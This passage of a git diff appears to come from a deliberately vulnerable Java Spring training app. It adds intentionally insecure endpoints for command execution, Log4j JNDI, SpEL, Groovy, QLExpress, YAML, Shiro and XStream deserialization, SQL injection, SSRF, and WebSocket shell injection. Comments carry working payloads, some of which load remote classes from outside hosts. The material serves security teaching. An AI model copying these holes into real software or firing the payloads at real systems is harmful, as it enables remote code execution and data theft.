lombok.extern.slf4j.Slf4j; +import org.joychou.util.CookieUtils; +import org.joychou.util.JwtUtils; +import org.springframework.web.bind.annotation.CookieValue; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; + +import javax.servlet.http.Cookie; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; + + +/** + * + */ +@Slf4j +@RestController +@RequestMapping("/jwt") +public class Jwt { + + private static final String COOKIE_NAME = "USER_COOKIE"; + /** + * http://localhost:8080/jwt/createToken + * Create jwt token and set token to cookies. + * + * @author JoyChou 2022-09-20 + */ + @GetMapping("/createToken") + public String createToken(HttpServletResponse response, HttpServletRequest request) { + String loginUser = request.getUserPrincipal().getName(); + log.info("Current login user is " + loginUser); + + if (!CookieUtils.deleteCookie(response, COOKIE_NAME)){ + return String.format("%s cookie delete failed", COOKIE_NAME); + } + String token = JwtUtils.generateTokenByJavaJwt(loginUser); + Cookie cookie = new Cookie(COOKIE_NAME, token); + + cookie.setMaxAge(86400); // 1 DAY + cookie.setPath("/"); + cookie.setSecure(true); + response.addCookie(cookie); + return "Add jwt token cookie successfully. Cookie name is USER_COOKIE"; + } + + + /** + * http://localhost:8080/jwt/getName + * Get nickname from USER_COOKIE + * + * @author JoyChou 2022-09-20 + * @param user_cookie cookie + * @return nickname + */ + @GetMapping("/getName") + public String getNickname(@CookieValue(COOKIE_NAME) String user_cookie) { + String nickname = JwtUtils.getNicknameByJavaJwt(user_cookie); + return "Current jwt user is " + nickname; + } + +} diff --git a/src/main/java/org/joychou/controller/Log4j.java b/src/main/java/org/joychou/controller/Log4j.java new file mode 100644 index 00000000..b2ea4060 --- /dev/null +++ b/src/main/java/org/joychou/controller/Log4j.java @@ -0,0 +1,29 @@ +package org.joychou.controller; + +import org.apache.logging.log4j.LogManager; +import org.apache.logging.log4j.Logger; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; + +@RestController +public class Log4j { + + private static final Logger logger = LogManager.getLogger("Log4j"); + + /** + * http://localhost:8080/log4j?token=${jndi:ldap://127.0.0.1:1389/0iun75} + * Default: error/fatal/off + * Fix: Update log4j to lastet version. + */ + @RequestMapping(value = "/log4j") + public String log4j(String token) { + logger.error(token); + return token; + } + + public static void main(String[] args) { + String poc = "${jndi:ldap://127.0.0.1:1389/0iun75}"; + logger.error(poc); + } + +} diff --git a/src/main/java/org/joychou/controller/QLExpress.java b/src/main/java/org/joychou/controller/QLExpress.java new file mode 100644 index 00000000..663589cd --- /dev/null +++ b/src/main/java/org/joychou/controller/QLExpress.java @@ -0,0 +1,44 @@ +package org.joychou.controller; + +import com.ql.util.express.DefaultContext; +import com.ql.util.express.ExpressRunner; +import com.ql.util.express.config.QLExpressRunStrategy; +import org.joychou.util.WebUtils; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; + +import javax.servlet.http.HttpServletRequest; + +@RestController(value = "/qlexpress") +public class QLExpress { + + /** + * url = 'http://sb.dog:8888/'; + * classLoader = new java.net.URLClassLoader([new java.net.URL(url)]); + * classLoader.loadClass('Hello').newInstance(); + */ + @RequestMapping("/vuln1") + public String vuln1(HttpServletRequest req) throws Exception{ + String express = WebUtils.getRequestBody(req); + System.out.println(express); + ExpressRunner runner = new ExpressRunner(); + DefaultContext context = new DefaultContext(); + Object r = runner.execute(express, context, null, true, false); + System.out.println(r); + return r.toString(); + } + + @RequestMapping("/sec") + public String sec(HttpServletRequest req) throws Exception{ + String express = WebUtils.getRequestBody(req); + System.out.println(express); + ExpressRunner runner = new ExpressRunner(); + QLExpressRunStrategy.setForbidInvokeSecurityRiskMethods(true); + // Can only call java.lang.String#length() + QLExpressRunStrategy.addSecureMethod(String.class, "length"); + DefaultContext context = new DefaultContext(); + Object r = runner.execute(express, context, null, true, false); + System.out.println(r); + return r.toString(); + } +} diff --git a/src/main/java/org/joychou/controller/Rce.java b/src/main/java/org/joychou/controller/Rce.java index d87b2a7b..7c5f30a9 100644 --- a/src/main/java/org/joychou/controller/Rce.java +++ b/src/main/java/org/joychou/controller/Rce.java @@ -1,23 +1,33 @@ package org.joychou.controller; +import groovy.lang.GroovyShell; +import lombok.extern.slf4j.Slf4j; import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RestController; +import org.yaml.snakeyaml.Yaml; +import org.yaml.snakeyaml.constructor.SafeConstructor; +import javax.script.Bindings; +import javax.script.ScriptContext; +import javax.script.ScriptEngine; +import javax.script.ScriptEngineManager; import java.io.BufferedInputStream; import java.io.BufferedReader; import java.io.InputStreamReader; + /** * Java code execute * * @author JoyChou @ 2018-05-24 */ +@Slf4j @RestController @RequestMapping("/rce") public class Rce { - @GetMapping("/exec") + @GetMapping("/runtime/exec") public String CommandExec(String cmd) { Runtime run = Runtime.getRuntime(); StringBuilder sb = new StringBuilder(); @@ -40,9 +50,89 @@ public String CommandExec(String cmd) { inBr.close(); in.close(); } catch (Exception e) { - return "Except"; + return e.toString(); } return sb.toString(); } + + + /** + * POC + */ + @GetMapping("/ProcessBuilder") + public String processBuilder(String cmd) { + + StringBuilder sb = new StringBuilder(); + + try { + String[] arrCmd = {"/bin/sh", "-c", cmd}; + ProcessBuilder processBuilder = new ProcessBuilder(arrCmd); + Process p = processBuilder.start(); + BufferedInputStream in = new BufferedInputStream(p.getInputStream()); + BufferedReader inBr = new BufferedReader(new InputStreamReader(in)); + String tmpStr; + + while ((tmpStr = inBr.readLine()) != null) { + sb.append(tmpStr); + } + } catch (Exception e) { + return e.toString(); + } + + return sb.toString(); + } + + + /** + * http://localhost:8080/rce/jscmd?jsurl=http://xx.yy/zz.js + * + * curl http://xx.yy/zz.js + * var a = mainOutput(); function mainOutput() { var x=java.lang.Runtime.getRuntime().exec("open -a Calculator");} + * + * @param jsurl js url + */ + @GetMapping("/jscmd") + public void jsEngine(String jsurl) throws Exception{ + // js nashorn javascript ecmascript + ScriptEngine engine = new ScriptEngineManager().getEngineByName("js"); + Bindings bindings = engine.getBindings(ScriptContext.ENGINE_SCOPE); + String cmd = String.format("load(\"%s\")", jsurl); + engine.eval(cmd, bindings); + } + + + /** + * http://localhost:8080/rce/vuln/yarm?content=!!javax.script.ScriptEngineManager%20[!!java.net.URLClassLoader%20[[!!java.net.URL%20[%22http://test.joychou.org:8086/yaml-payload.jar%22]]]] + * yaml-payload.jar: https://github.com/artsploit/yaml-payload + * + * @param content payloads + */ + @GetMapping("/vuln/yarm") + public void yarm(String content) { + Yaml y = new Yaml(); + y.load(content); + } + + @GetMapping("/sec/yarm") + public void secYarm(String content) { + Yaml y = new Yaml(new SafeConstructor()); + y.load(content); + } + + /** + * http://localhost:8080/rce/groovy?content="open -a Calculator".execute() + * @param content groovy shell + */ + @GetMapping("groovy") + public void groovyshell(String content) { + GroovyShell groovyShell = new GroovyShell(); + groovyShell.evaluate(content); + } + + + + public static void main(String[] args) throws Exception{ + Runtime.getRuntime().exec("touch /tmp/x"); + } } diff --git a/src/main/java/org/joychou/controller/SQLI.java b/src/main/java/org/joychou/controller/SQLI.java index 7ea518a5..be46f45b 100644 --- a/src/main/java/org/joychou/controller/SQLI.java +++ b/src/main/java/org/joychou/controller/SQLI.java @@ -6,10 +6,10 @@ import org.joychou.security.SecurityUtil; import org.slf4j.Logger; import org.slf4j.LoggerFactory; -import org.springframework.beans.factory.annotation.Autowired; import org.springframework.beans.factory.annotation.Value; import org.springframework.web.bind.annotation.*; +import javax.annotation.Resource; import java.sql.*; import java.util.List; @@ -25,8 +25,10 @@ @RequestMapping("/sqli") public class SQLI { - private static Logger logger = LoggerFactory.getLogger(SQLI.class); - private static String driver = "com.mysql.jdbc.Driver"; + private static final Logger logger = LoggerFactory.getLogger(SQLI.class); + + // com.mysql.jdbc.Driver is deprecated. Change to com.mysql.cj.jdbc.Driver. + private static final String driver = "com.mysql.cj.jdbc.Driver"; @Value("${spring.datasource.url}") private String url; @@ -37,15 +39,14 @@ public class SQLI { @Value("${spring.datasource.password}") private String password; - @Autowired + @Resource private UserMapper userMapper; /** - * Vuln Code. - * http://localhost:8080/sqli/jdbc/vul?username=joychou + *

Sql injection jbdc vuln code.


* - * @param username username + * http://localhost:8080/sqli/jdbc/vuln?username=joychou */ @RequestMapping("/jdbc/vuln") public String jdbc_sqli_vul(@RequestParam("username") String username) { @@ -77,7 +78,7 @@ public String jdbc_sqli_vul(@RequestParam("username") String username) { } catch (ClassNotFoundException e) { - logger.error("Sorry,can`t find the Driver!"); + logger.error("Sorry, can't find the Driver!"); } catch (SQLException e) { logger.error(e.toString()); } @@ -86,10 +87,9 @@ public String jdbc_sqli_vul(@RequestParam("username") String username) { /** - * Security Code. - * http://localhost:8080/sqli/jdbc/sec?username=joychou + *

Sql injection jbdc security code by using {@link PreparedStatement}.


* - * @param username username + * http://localhost:8080/sqli/jdbc/sec?username=joychou */ @RequestMapping("/jdbc/sec") public String jdbc_sqli_sec(@RequestParam("username") String username) { @@ -100,7 +100,7 @@ public String jdbc_sqli_sec(@RequestParam("username") String username) { Connection con = DriverManager.getConnection(url, user, password); if (!con.isClosed()) - System.out.println("Connecting to Database successfully."); + System.out.println("Connect to database successfully."); // fix code String sql = "select * from users where username = ?"; @@ -122,7 +122,7 @@ public String jdbc_sqli_sec(@RequestParam("username") String username) { con.close(); } catch (ClassNotFoundException e) { - logger.error("Sorry, can`t find the Driver!"); + logger.error("Sorry, can't find the Driver!"); e.printStackTrace(); } catch (SQLException e) { logger.error(e.toString()); @@ -130,11 +130,53 @@ public String jdbc_sqli_sec(@RequestParam("username") String username) { return result.toString(); } + /** - * vuln code - * http://localhost:8080/sqli/mybatis/vuln01?username=joychou' or '1'='1 - * - * @param username username + *

Incorrect use of prepareStatement. PrepareStatement must use ? as a placeholder.

+ * http://localhost:8080/sqli/jdbc/ps/vuln?username=joychou' or 'a'='a + */ + @RequestMapping("/jdbc/ps/vuln") + public String jdbc_ps_vuln(@RequestParam("username") String username) { + + StringBuilder result = new StringBuilder(); + try { + Class.forName(driver); + Connection con = DriverManager.getConnection(url, user, password); + + if (!con.isClosed()) + System.out.println("Connecting to Database successfully."); + + String sql = "select * from users where username = '" + username + "'"; + PreparedStatement st = con.prepareStatement(sql); + + logger.info(st.toString()); + ResultSet rs = st.executeQuery(); + + while (rs.next()) { + String res_name = rs.getString("username"); + String res_pwd = rs.getString("password"); + String info = String.format("%s: %s\n", res_name, res_pwd); + result.append(info); + logger.info(info); + } + + rs.close(); + con.close(); + + } catch (ClassNotFoundException e) { + logger.error("Sorry, can't find the Driver!"); + e.printStackTrace(); + } catch (SQLException e) { + logger.error(e.toString()); + } + return result.toString(); + } + + + /** + *

Sql injection of mybatis vuln code.

+ * http://localhost:8080/sqli/mybatis/vuln01?username=joychou' or '1'='1 + *

select * from users where username = 'joychou' or '1'='1'

*/ @GetMapping("/mybatis/vuln01") public List mybatisVuln01(@RequestParam("username") String username) { @@ -142,17 +184,20 @@ public List mybatisVuln01(@RequestParam("username") String username) { } /** - * vul code - * http://localhost:8080/sqli/mybatis/vuln02?username=joychou' or '1'='1' %23 - * - * @param username username + *

Sql injection of mybatis vuln code.

+ * http://localhost:8080/sqli/mybatis/vuln02?username=joychou' or '1'='1 + *

select * from users where username like '%joychou' or '1'='1%'

*/ @GetMapping("/mybatis/vuln02") public List mybatisVuln02(@RequestParam("username") String username) { return userMapper.findByUserNameVuln02(username); } - // http://localhost:8080/sqli/mybatis/orderby/vuln03?sort=1 desc%23 + /** + *

Sql injection of mybatis vuln code.

+ * http://localhost:8080/sqli/mybatis/orderby/vuln03?sort=id desc-- + *

select * from users order by id desc-- asc

+ */ @GetMapping("/mybatis/orderby/vuln03") public List mybatisVuln03(@RequestParam("sort") String sort) { return userMapper.findByUserNameVuln03(sort); @@ -160,10 +205,8 @@ public List mybatisVuln03(@RequestParam("sort") String sort) { /** - * security code - * http://localhost:8080/sqli/mybatis/sec01?username=joychou - * - * @param username username + *

Sql injection mybatis security code.

+ * http://localhost:8080/sqli/mybatis/sec01?username=joychou */ @GetMapping("/mybatis/sec01") public User mybatisSec01(@RequestParam("username") String username) { @@ -171,9 +214,8 @@ public User mybatisSec01(@RequestParam("username") String username) { } /** - * http://localhost:8080/sqli/mybatis/sec02?id=1 - * - * @param id id + *

Sql injection mybatis security code.

+ * http://localhost:8080/sqli/mybatis/sec02?id=1 */ @GetMapping("/mybatis/sec02") public User mybatisSec02(@RequestParam("id") Integer id) { @@ -182,14 +224,19 @@ public User mybatisSec02(@RequestParam("id") Integer id) { /** - * http://localhost:8080/sqli/mybatis/sec03 + *

Sql injection mybatis security code.

+ * http://localhost:8080/sqli/mybatis/sec03 */ @GetMapping("/mybatis/sec03") public User mybatisSec03() { return userMapper.OrderByUsername(); } - + /** + *

Order by sql injection mybatis security code by using sql filter.

+ * http://localhost:8080/sqli/mybatis/orderby/sec04?sort=id + *

select * from users order by id asc

+ */ @GetMapping("/mybatis/orderby/sec04") public List mybatisOrderBySec04(@RequestParam("sort") String sort) { return userMapper.findByUserNameVuln03(SecurityUtil.sqlFilter(sort)); diff --git a/src/main/java/org/joychou/controller/SSRF.java b/src/main/java/org/joychou/controller/SSRF.java index 8645fd13..f28b8b91 100644 --- a/src/main/java/org/joychou/controller/SSRF.java +++ b/src/main/java/org/joychou/controller/SSRF.java @@ -1,13 +1,18 @@ package org.joychou.controller; +import cn.hutool.http.HttpUtil; import org.joychou.security.SecurityUtil; import org.joychou.security.ssrf.SSRFException; +import org.joychou.service.HttpService; import org.joychou.util.HttpUtils; import org.joychou.util.WebUtils; import org.slf4j.Logger; import org.slf4j.LoggerFactory; +import org.springframework.http.HttpHeaders; +import org.springframework.http.MediaType; import org.springframework.web.bind.annotation.*; +import javax.annotation.Resource; import javax.servlet.http.HttpServletResponse; import java.io.*; import java.net.*; @@ -23,15 +28,18 @@ @RequestMapping("/ssrf") public class SSRF { - private static Logger logger = LoggerFactory.getLogger(SSRF.class); + private static final Logger logger = LoggerFactory.getLogger(SSRF.class); + @Resource + private HttpService httpService; /** - * http://localhost:8080/ssrf/urlConnection/vuln?url=file:///etc/passwd - * - * The default setting of followRedirects is true. - * Protocol: file ftp mailto http https jar netdoc - * UserAgent is Java/1.8.0_102. + *

+ * The default setting of followRedirects is true.
+ * Protocol: file ftp mailto http https jar netdoc.
+ * UserAgent is Java/1.8.0_102. + *

+ * http://localhost:8080/ssrf/urlConnection/vuln?url=file:///etc/passwd */ @RequestMapping(value = "/urlConnection/vuln", method = {RequestMethod.POST, RequestMethod.GET}) public String URLConnectionVuln(String url) { @@ -67,7 +75,7 @@ public String URLConnectionSec(String url) { public String httpURLConnection(@RequestParam String url) { try { SecurityUtil.startSSRFHook(); - return HttpUtils.HTTPURLConnection(url); + return HttpUtils.HttpURLConnection(url); } catch (SSRFException | IOException e) { return e.getMessage(); } finally { @@ -76,11 +84,15 @@ public String httpURLConnection(@RequestParam String url) { } + @GetMapping("/HttpURLConnection/vuln") + public String httpURLConnectionVuln(@RequestParam String url) { + return HttpUtils.HttpURLConnection(url); + } + /** * The default setting of followRedirects is true. - * UserAgent is Apache-HttpClient/4.5.12 (Java/1.8.0_102). - * - * http://localhost:8080/ssrf/request/sec?url=http://test.joychou.org + * UserAgent is Apache-HttpClient/4.5.12 (Java/1.8.0_102).
+ * http://localhost:8080/ssrf/request/sec?url=http://test.joychou.org */ @GetMapping("/request/sec") public String request(@RequestParam String url) { @@ -96,12 +108,12 @@ public String request(@RequestParam String url) { /** - * Download the url file. - * http://localhost:8080/ssrf/openStream?url=file:///etc/passwd - *

- * new URL(String url).openConnection() - * new URL(String url).openStream() - * new URL(String url).getContent() + * Download the url file.
+ * new URL(String url).openConnection()
+ * new URL(String url).openStream()
+ * new URL(String url).getContent()
+ * http://localhost:8080/ssrf/openStream?url=file:///etc/passwd + */ @GetMapping("/openStream") public void openStream(@RequestParam String url, HttpServletResponse response) throws IOException { @@ -167,12 +179,10 @@ public String okhttp(@RequestParam String url) { } - /** * The default setting of followRedirects is true. - * UserAgent is Apache-HttpClient/4.5.12 (Java/1.8.0_102). - * - * http://localhost:8080/ssrf/httpclient/sec?url=http://www.baidu.com + * UserAgent is Apache-HttpClient/4.5.12 (Java/1.8.0_102).
+ * http://localhost:8080/ssrf/httpclient/sec?url=http://www.baidu.com */ @GetMapping("/httpclient/sec") public String HttpClient(@RequestParam String url) { @@ -192,8 +202,7 @@ public String HttpClient(@RequestParam String url) { /** * The default setting of followRedirects is true. * UserAgent is Jakarta Commons-HttpClient/3.1. - * - * http://localhost:8080/ssrf/commonsHttpClient/sec?url=http://www.baidu.com + * http://localhost:8080/ssrf/commonsHttpClient/sec?url=http://www.baidu.com */ @GetMapping("/commonsHttpClient/sec") public String commonsHttpClient(@RequestParam String url) { @@ -211,9 +220,8 @@ public String commonsHttpClient(@RequestParam String url) { /** * The default setting of followRedirects is true. - * UserAgent is the useragent of browser. - * - * http://localhost:8080/ssrf/Jsoup?url=http://www.baidu.com + * UserAgent is the useragent of browser.
+ * http://localhost:8080/ssrf/Jsoup?url=http://www.baidu.com */ @GetMapping("/Jsoup/sec") public String Jsoup(@RequestParam String url) { @@ -232,9 +240,8 @@ public String Jsoup(@RequestParam String url) { /** * The default setting of followRedirects is true. - * UserAgent is Java/1.8.0_102. - * - * http://localhost:8080/ssrf/IOUtils/sec?url=http://www.baidu.com + * UserAgent is Java/1.8.0_102.
+ * http://localhost:8080/ssrf/IOUtils/sec?url=http://www.baidu.com */ @GetMapping("/IOUtils/sec") public String IOUtils(String url) { @@ -261,4 +268,51 @@ public String HttpSyncClients(@RequestParam("url") String url) { } + /** + * Only support HTTP protocol.
+ * GET HttpMethod follow redirects by default, other HttpMethods do not follow redirects.
+ * User-Agent is Java/1.8.0_102.
+ * http://127.0.0.1:8080/ssrf/restTemplate/vuln1?url=http://www.baidu.com + */ + @GetMapping("/restTemplate/vuln1") + public String RestTemplateUrlBanRedirects(String url){ + HttpHeaders headers = new HttpHeaders(); + headers.setContentType(MediaType.APPLICATION_JSON_UTF8); + return httpService.RequestHttpBanRedirects(url, headers); + } + + + @GetMapping("/restTemplate/vuln2") + public String RestTemplateUrl(String url){ + HttpHeaders headers = new HttpHeaders(); + headers.setContentType(MediaType.APPLICATION_JSON_UTF8); + return httpService.RequestHttp(url, headers); + } + + + /** + * UserAgent is Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.142 Safari/537.36 Hutool. + * Do not follow redirects.
+ * http://127.0.0.1:8080/ssrf/hutool/vuln?url=http://www.baidu.com + */ + @GetMapping("/hutool/vuln") + public String hutoolHttp(String url){ + return HttpUtil.get(url); + } + + + /** + * DnsRebind SSRF in java by setting ttl is zero.
+ * http://localhost:8080/ssrf/dnsrebind/vuln?url=dnsrebind_url + */ + @GetMapping("/dnsrebind/vuln") + public String DnsRebind(String url) { + java.security.Security.setProperty("networkaddress.cache.negative.ttl" , "0"); + if (!SecurityUtil.checkSSRFWithoutRedirect(url)) { + return "Dangerous url"; + } + return HttpUtil.get(url); + } + + } diff --git a/src/main/java/org/joychou/controller/Shiro.java b/src/main/java/org/joychou/controller/Shiro.java new file mode 100644 index 00000000..2dc143ca --- /dev/null +++ b/src/main/java/org/joychou/controller/Shiro.java @@ -0,0 +1,49 @@ +package org.joychou.controller; + + +import lombok.extern.slf4j.Slf4j; +import org.apache.shiro.crypto.AesCipherService; +import org.joychou.config.Constants; +import org.joychou.util.CookieUtils; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.RestController; +import javax.servlet.http.Cookie; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.io.*; +import static org.springframework.web.util.WebUtils.getCookie; + +@Slf4j +@RestController +public class Shiro { + + byte[] KEYS = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA=="); + private final static String DELETE_ME = "deleteMe"; + AesCipherService acs = new AesCipherService(); + + + @GetMapping(value = "/shiro/deserialize") + public String shiro_deserialize(HttpServletRequest req, HttpServletResponse res) { + Cookie cookie = getCookie(req, Constants.REMEMBER_ME_COOKIE); + if (null == cookie) { + return "No rememberMe cookie. Right?"; + } + + try { + String rememberMe = cookie.getValue(); + byte[] b64DecodeRememberMe = java.util.Base64.getDecoder().decode(rememberMe); + byte[] aesDecrypt = acs.decrypt(b64DecodeRememberMe, KEYS).getBytes(); + ByteArrayInputStream bytes = new ByteArrayInputStream(aesDecrypt); + ObjectInputStream in = new ObjectInputStream(bytes); + in.readObject(); + in.close(); + } catch (Exception e){ + if (CookieUtils.addCookie(res, "rememberMe", DELETE_ME)){ + log.error(e.getMessage()); + return "RememberMe cookie decrypt error. Set deleteMe cookie success."; + } + } + + return "Shiro deserialize"; + } +} diff --git a/src/main/java/org/joychou/controller/SpEL.java b/src/main/java/org/joychou/controller/SpEL.java index 698f4a7e..452180b8 100644 --- a/src/main/java/org/joychou/controller/SpEL.java +++ b/src/main/java/org/joychou/controller/SpEL.java @@ -1,38 +1,64 @@ package org.joychou.controller; +import org.springframework.expression.Expression; import org.springframework.expression.ExpressionParser; +import org.springframework.expression.common.TemplateParserContext; import org.springframework.expression.spel.standard.SpelExpressionParser; -import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.expression.spel.support.SimpleEvaluationContext; +import org.springframework.expression.spel.support.StandardEvaluationContext; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RestController; /** - * SpEL Injection - * + * SpEL Injection. * @author JoyChou @2019-01-17 */ @RestController public class SpEL { /** - * SpEL to RCE - * http://localhost:8080/spel/vul/?expression=xxx. - * xxx is urlencode(exp) - * exp: T(java.lang.Runtime).getRuntime().exec("curl xxx.ceye.io") + * Use Spel to execute cmd.

+ * T(java.lang.Runtime).getRuntime().exec("open -a Calculator") */ - @GetMapping("/spel/vuln") - public String rce(String expression) { + @RequestMapping("/spel/vuln1") + public String spel_vuln1(String value) { ExpressionParser parser = new SpelExpressionParser(); - // fix method: SimpleEvaluationContext - return parser.parseExpression(expression).getValue().toString(); + return parser.parseExpression(value).getValue().toString(); + } + + /** + * Use Spel to execute cmd.

+ * #{T(java.lang.Runtime).getRuntime().exec('open -a Calculator')} + * Exploit must add #{} if using TemplateParserContext. + */ + @RequestMapping("spel/vuln2") + public String spel_vuln2(String value) { + StandardEvaluationContext context = new StandardEvaluationContext(); + SpelExpressionParser parser = new SpelExpressionParser(); + Expression expression = parser.parseExpression(value, new TemplateParserContext()); + Object x = expression.getValue(context); // trigger vulnerability point + return x.toString(); // response + } + + /** + * Use SimpleEvaluationContext to fix. + */ + @RequestMapping("spel/sec") + public String spel_sec(String value) { + SimpleEvaluationContext context = SimpleEvaluationContext.forReadOnlyDataBinding().build(); + SpelExpressionParser parser = new SpelExpressionParser(); + Expression expression = parser.parseExpression(value, new TemplateParserContext()); + Object x = expression.getValue(context); + return x.toString(); } public static void main(String[] args) { ExpressionParser parser = new SpelExpressionParser(); - String expression = "T(java.lang.Runtime).getRuntime().exec(\"open -a Calculator\")"; + String expression = "1+1"; String result = parser.parseExpression(expression).getValue().toString(); System.out.println(result); } + } diff --git a/src/main/java/org/joychou/controller/Test.java b/src/main/java/org/joychou/controller/Test.java deleted file mode 100644 index 3b75c7d0..00000000 --- a/src/main/java/org/joychou/controller/Test.java +++ /dev/null @@ -1,36 +0,0 @@ -package org.joychou.controller; - -import org.springframework.stereotype.Controller; -import org.springframework.web.bind.annotation.RequestMapping; -import org.springframework.web.bind.annotation.ResponseBody; -import org.springframework.web.bind.annotation.RestController; - -import javax.servlet.http.Cookie; -import javax.servlet.http.HttpServletResponse; - -@RestController -@RequestMapping("/test") -public class Test { - - @RequestMapping(value = "/") - public String Index(HttpServletResponse response, String empId) { - - System.out.println(empId); - Cookie cookie = new Cookie("XSRF-TOKEN", "123"); - cookie.setDomain("taobao.com"); - cookie.setMaxAge(-1); // forever time - response.addCookie(cookie); - return "success"; - } - - - @RequestMapping(value = "/aa") - public void test(HttpServletResponse response, String empId) { - - System.out.println(empId); - Cookie cookie = new Cookie("XSRF-TOKEN", "123"); - cookie.setDomain("taobao.com"); - cookie.setMaxAge(-1); // forever time - response.addCookie(cookie); - } -} diff --git a/src/main/java/org/joychou/controller/URLWhiteList.java b/src/main/java/org/joychou/controller/URLWhiteList.java index 35d37576..156cc73d 100644 --- a/src/main/java/org/joychou/controller/URLWhiteList.java +++ b/src/main/java/org/joychou/controller/URLWhiteList.java @@ -6,7 +6,8 @@ import org.slf4j.LoggerFactory; import org.springframework.web.bind.annotation.*; -import java.net.MalformedURLException; +import javax.servlet.http.HttpServletResponse; +import java.io.IOException; import java.net.URL; import java.util.ArrayList; import java.util.regex.Matcher; @@ -86,20 +87,21 @@ public String regex(@RequestParam("url") String url) { /** - * The bypass of using java.net.URL to getHost. + * The bypass of using {@link java.net.URL} to getHost. *

- * Bypass poc1: curl -v 'http://localhost:8080/url/vuln/url_bypass?url=http://evel.com%5c@www.joychou.org/a.html' - * Bypass poc2: curl -v 'http://localhost:8080/url/vuln/url_bypass?url=http://evil.com%5cwww.joychou.org/a.html' + * bypass 1 + * bypass 2 + * *

- * More details: https://github.com/JoyChou93/java-sec-code/wiki/URL-whtielist-Bypass + * More details */ @GetMapping("/vuln/url_bypass") - public String url_bypass(String url) throws MalformedURLException { + public void url_bypass(String url, HttpServletResponse res) throws IOException { logger.info("url: " + url); if (!SecurityUtil.isHttp(url)) { - return "Url is not http or https"; + return; } URL u = new URL(url); @@ -109,11 +111,10 @@ public String url_bypass(String url) throws MalformedURLException { // endsWith . for (String domain : domainwhitelist) { if (host.endsWith("." + domain)) { - return "Good url."; + res.sendRedirect(url); } } - return "Bad url."; } diff --git a/src/main/java/org/joychou/controller/WebSockets.java b/src/main/java/org/joychou/controller/WebSockets.java new file mode 100644 index 00000000..6a477ece --- /dev/null +++ b/src/main/java/org/joychou/controller/WebSockets.java @@ -0,0 +1,76 @@ +package org.joychou.controller; + +import org.apache.tomcat.websocket.server.WsServerContainer; +import org.joychou.config.WebSocketsProxyEndpoint; +import org.joychou.config.WebSocketsCmdEndpoint; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; + +import javax.servlet.ServletContext; +import javax.servlet.http.HttpServletRequest; +import javax.websocket.server.ServerContainer; +import javax.websocket.server.ServerEndpointConfig; + + +@RestController +public class WebSockets { + + /** + *

动态添加WebSockets实现命令执行

+ *

+ * 1. WebSocket的端口和Spring端口一致。
+ * 2. 如果应用需要登录,动态添加的WebSocket路由不能要求被登录,否则添加失败。 + *

+ *

+ * http://localhost:8080/websocket/cmd?path=/ws/shell
+ * WebSockets 的URL为ws://127.0.0.1:8080/ws/shell + *

+ *

JoyChou @ 2023年02月20日

+ */ + @RequestMapping("/websocket/cmd") + public String cmdInject(HttpServletRequest req) { + String path = req.getParameter("path"); + if (path == null) { + return "path is null"; + } + ServletContext sc = req.getServletContext(); + try { + ServerEndpointConfig sec = ServerEndpointConfig.Builder.create(WebSocketsCmdEndpoint.class, path).build(); + WsServerContainer wsc = (WsServerContainer) sc.getAttribute(ServerContainer.class.getName()); + if (wsc.findMapping(path) == null) { + wsc.addEndpoint(sec); + System.out.println("[+] Websocket: " + path + " inject success!!!"); + return "[+] Websocket: " + path + " inject success!!!"; + } else { + System.out.println("[-] Websocket: " + path + " has been injected!"); + return "[-] Websocket: " + path + " has been injected!"; + } + } catch (Exception e) { + return e.toString(); + } + } + + @RequestMapping("/websocket/proxy") + public String proxyInject(HttpServletRequest req) { + String path = req.getParameter("path"); + if (path == null) { + return "path is null"; + } + ServletContext sc = req.getServletContext(); + try { + ServerEndpointConfig sec = ServerEndpointConfig.Builder.create(WebSocketsProxyEndpoint.class, path).build(); + WsServerContainer wsc = (WsServerContainer) sc.getAttribute(ServerContainer.class.getName()); + if (wsc.findMapping(path) == null) { + wsc.addEndpoint(sec); + System.out.println("[+] Websocket: " + path + " inject success!!!"); + return "[+] Websocket: " + path + " inject success!!!"; + } else { + System.out.println("[-] Websocket: " + path + " has been injected!"); + return "[-] Websocket: " + path + " has been injected!"; + } + } catch (Exception e) { + return e.toString(); + } + } + +} diff --git a/src/main/java/org/joychou/controller/XStreamRce.java b/src/main/java/org/joychou/controller/XStreamRce.java index 62616e95..aa3469bd 100644 --- a/src/main/java/org/joychou/controller/XStreamRce.java +++ b/src/main/java/org/joychou/controller/XStreamRce.java @@ -2,6 +2,7 @@ import com.thoughtworks.xstream.XStream; import com.thoughtworks.xstream.io.xml.DomDriver; +import com.thoughtworks.xstream.security.AnyTypePermission; import org.joychou.dao.User; import org.joychou.util.WebUtils; import org.springframework.web.bind.annotation.PostMapping; @@ -24,20 +25,9 @@ public class XStreamRce { public String parseXml(HttpServletRequest request) throws Exception { String xml = WebUtils.getRequestBody(request); XStream xstream = new XStream(new DomDriver()); + xstream.addPermission(AnyTypePermission.ANY); // This will cause all XStream versions to be affected. xstream.fromXML(xml); return "xstream"; } - public static void main(String[] args) { - User user = new User(); - user.setId(0); - user.setUsername("admin"); - - XStream xstream = new XStream(new DomDriver()); - String xml = xstream.toXML(user); // Serialize - System.out.println(xml); - - user = (User) xstream.fromXML(xml); // Deserialize - System.out.println(user.getId() + ": " + user.getUsername()); - } } diff --git a/src/main/java/org/joychou/controller/XXE.java b/src/main/java/org/joychou/controller/XXE.java index 931a5688..58e90739 100644 --- a/src/main/java/org/joychou/controller/XXE.java +++ b/src/main/java/org/joychou/controller/XXE.java @@ -4,6 +4,9 @@ import org.dom4j.io.SAXReader; import 